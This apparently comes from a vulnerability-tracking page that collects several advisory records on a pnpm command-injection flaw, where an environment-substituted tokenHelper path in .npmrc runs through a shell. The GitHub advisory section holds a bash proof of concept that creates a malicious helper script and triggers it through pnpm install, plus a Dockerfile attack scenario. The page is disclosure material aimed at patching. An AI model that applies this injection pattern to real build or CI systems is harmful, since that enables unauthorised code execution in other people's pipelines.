pnpm vulnerable to Command Injection via environment variable substitution

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.

Source published

7 Jan 2026 22:30:07 UTC

Source modified

26 Feb 2026 15:04:55 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.6 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.

Source published

Jan 7, 2026, 10:30:07 PM (timezone not stated)

Source modified

Feb 26, 2026, 3:04:55 PM (timezone not stated)

Observed here

9 Nov 2026 04:12:07 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.6 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.

Source published

7 Jan 2026 23:15:50 UTC

Source modified

14 Oct 2026 19:10:00 UTC

Observed here

25 Oct 2026 04:17:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 · [email protected] · Primary · 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

## Summary A command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments. ## Affected Components - **Package**: pnpm - **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality - **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function - **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution ## Technical Details ### Vulnerability Chain 1. **Environment Variable Substitution** - `.npmrc` supports `${VAR}` syntax - Substitution occurs in `readLocalConfig()` 2. **loadToken Execution** - Uses `spawnSync(helperPath, { shell: true })` - Only validates absolute path existence 3. **Attack Flow** ``` .npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH} ↓ envReplace() → /tmp/evil-helper.sh ↓ loadToken() → spawnSync(..., { shell: true }) ↓ RCE achieved ``` ### Code Evidence **`pnpm/config/config/src/readLocalConfig.ts:17-18`** ```typescript key = envReplace(key, process.env) ini[key] = parseField(types, envReplace(val, process.env), key) ``` **`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`** ```typescript export function loadToken(helperPath: string, settingName: string): string { if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) { throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...) } const spawnResult = spawnSync(helperPath, { shell: true }) // ... } ``` ## Proof of Concept ### Prerequisites - Private npm registry access - Control over environment variables - Ability to place scripts in filesystem ### PoC Steps ```bash # 1. Create malicious helper script cat > /tmp/evil-helper.sh << 'SCRIPT' #!/bin/bash echo "RCE SUCCESS!" > /tmp/rce-log.txt echo "TOKEN_12345" SCRIPT chmod +x /tmp/evil-helper.sh # 2. Create .npmrc with environment variable cat > .npmrc << 'EOF' registry=https://registry.npmjs.org/ registry.npmjs.org/:tokenHelper=${HELPER_PATH} EOF # 3. Set environment variable (attacker controlled) export HELPER_PATH=/tmp/evil-helper.sh # 4. Trigger pnpm install pnpm install # RCE occurs during auth # 5. Verify attack cat /tmp/rce-log.txt ``` ### PoC Results ``` ==> Attack successful ==> File created: /tmp/rce-log.txt ==> Arbitrary code execution confirmed ``` ## Impact ### Severity - **CVSS Score**: 7.6 (High) - **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H ### Affected Environments **High Risk:** - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users **Low Risk:** - Public registry only - Production runtime (no pnpm execution) - Static sites ### Attack Scenarios **Scenario 1: CI/CD Supply Chain** ``` Repository → Build Trigger → pnpm install → RCE → Production Deploy ``` **Scenario 2: Docker Build** ```dockerfile FROM node:20 ARG HELPER_PATH=/tmp/evil COPY .npmrc . RUN pnpm install # RCE ``` **Scenario 3: Kubernetes** ``` Secret Control → Env Variable → .npmrc Substitution → RCE ``` ## Mitigation ### Temporary Workarounds **Disable tokenHelper:** ```ini # .npmrc # registry.npmjs.org/:tokenHelper=${HELPER_PATH} ``` **Use direct tokens:** ```ini //registry.npmjs.org/:_authToken=YOUR_TOKEN ``` **Audit environment variables:** - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs ### Recommended Fixes 1. Remove `shell: true` from loadToken 2. Implement helper path allowlist 3. Validate substituted paths 4. Consider sandboxing ## Disclosure - **Discovery**: 2025-11-02 - **PoC**: 2025-11-02 - **Report**: [Pending disclosure decision] ## References - Repository: https://github.com/pnpm/pnpm - Affected: `@pnpm/config.env-replace@^3.0.2` - Similar: CVE-2024-53866, CVE-2023-37478 ## Credit Reported by: Jiyong Yang Contact: [email protected]

Source published

7 Jan 2026 18:51:07 UTC

Source modified

3 Feb 2026 03:16:00 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Publisher rating · HIGH